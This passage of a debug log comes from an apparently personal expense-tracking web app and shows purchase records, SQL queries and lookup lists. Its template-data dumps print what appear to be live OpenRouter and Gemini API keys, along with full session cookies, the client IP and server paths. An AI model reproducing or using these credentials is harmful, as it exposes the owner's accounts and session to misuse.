      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-11T09:50:11.852Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-03-11T09:50:11.852Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-03-11T09:50:11.852Z server-connect:app Executing action step identify
2026-03-11T09:50:11.852Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:11.852Z server-connect:output identity: 1
2026-03-11T09:50:11.852Z server-connect:app Executing action step restrict
2026-03-11T09:50:11.852Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:11.853Z server-connect:app Executing action step identify
2026-03-11T09:50:11.853Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:11.853Z server-connect:output identity: 1
2026-03-11T09:50:11.853Z server-connect:app Executing action step restrict
2026-03-11T09:50:11.853Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:11.853Z server-connect:output restrict: undefined
2026-03-11T09:50:11.853Z server-connect:app Executing action step single
2026-03-11T09:50:11.853Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-03-11T09:50:11.854Z server-connect:output restrict: undefined
2026-03-11T09:50:11.854Z server-connect:app Executing action step select
2026-03-11T09:50:11.854Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-03-11T09:50:11.854Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-03-11T09:50:11.855Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-03-11T09:50:34.405Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-03-11T09:50:34.406Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-03-11T09:50:34.406Z server-connect:app Executing action step identify
2026-03-11T09:50:34.406Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:34.406Z server-connect:output identity: 1
2026-03-11T09:50:34.406Z server-connect:app Executing action step restrict
2026-03-11T09:50:34.406Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:34.406Z server-connect:app Executing action step identify
2026-03-11T09:50:34.406Z server-connect:app options: { provider: 'security' }
2026-03-11T09:50:34.406Z server-connect:output identity: 1
2026-03-11T09:50:34.406Z server-connect:app Executing action step restrict
2026-03-11T09:50:34.406Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:50:34.407Z server-connect:output restrict: undefined
2026-03-11T09:50:34.407Z server-connect:app Executing action step single
2026-03-11T09:50:34.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-03-11T09:50:34.407Z server-connect:output restrict: undefined
2026-03-11T09:50:34.407Z server-connect:app Executing action step select
2026-03-11T09:50:34.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-03-11T09:50:34.407Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-03-11T09:50:34.408Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-03-11T09:51:06.941Z server-connect:router Serving templateView /collections
2026-03-11T09:51:06.941Z server-connect:app Executing action step identify
2026-03-11T09:51:06.942Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:06.942Z server-connect:output identity: 1
2026-03-11T09:51:06.942Z server-connect:app Executing action step restrict
2026-03-11T09:51:06.942Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:51:06.942Z server-connect:output restrict: undefined
2026-03-11T09:51:06.942Z server-connect:router Render template masters/collections
2026-03-11T09:51:06.942Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:51:07.215Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-03-11T09:51:07.215Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-03-11T09:51:07.216Z server-connect:app Executing action step identify
2026-03-11T09:51:07.216Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:07.216Z server-connect:output identity: 1
2026-03-11T09:51:07.216Z server-connect:app Executing action step restrict
2026-03-11T09:51:07.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:07.216Z server-connect:app Executing action step identify
2026-03-11T09:51:07.216Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:07.216Z server-connect:output identity: 1
2026-03-11T09:51:07.216Z server-connect:app Executing action step restrict
2026-03-11T09:51:07.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:07.216Z server-connect:output restrict: undefined
2026-03-11T09:51:07.216Z server-connect:app Executing action step select
2026-03-11T09:51:07.216Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-03-11T09:51:07.218Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-03-11T09:51:07.218Z server-connect:output restrict: undefined
2026-03-11T09:51:07.218Z server-connect:app Executing action step paged
2026-03-11T09:51:07.218Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:07.220Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 194,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-03-11T09:51:14.744Z server-connect:router Serving templateView /expense/list
2026-03-11T09:51:14.744Z server-connect:app Executing action step identify
2026-03-11T09:51:14.745Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:14.745Z server-connect:output identity: 1
2026-03-11T09:51:14.745Z server-connect:app Executing action step restrict
2026-03-11T09:51:14.745Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:51:14.745Z server-connect:output restrict: undefined
2026-03-11T09:51:14.745Z server-connect:router Render template expense/list
2026-03-11T09:51:14.745Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:51:15.029Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:15.030Z server-connect:app Executing action step identify
2026-03-11T09:51:15.030Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:15.030Z server-connect:output identity: 1
2026-03-11T09:51:15.030Z server-connect:app Executing action step restrict
2026-03-11T09:51:15.030Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:15.031Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-11T09:51:15.031Z server-connect:output restrict: undefined
2026-03-11T09:51:15.031Z server-connect:app Executing action step paged
2026-03-11T09:51:15.031Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:15.032Z server-connect:app Executing action step identify
2026-03-11T09:51:15.032Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:15.032Z server-connect:output identity: 1
2026-03-11T09:51:15.032Z server-connect:app Executing action step restrict
2026-03-11T09:51:15.032Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:15.033Z server-connect:output restrict: undefined
2026-03-11T09:51:15.033Z server-connect:app Executing action step select
2026-03-11T09:51:15.033Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-11T09:51:15.034Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
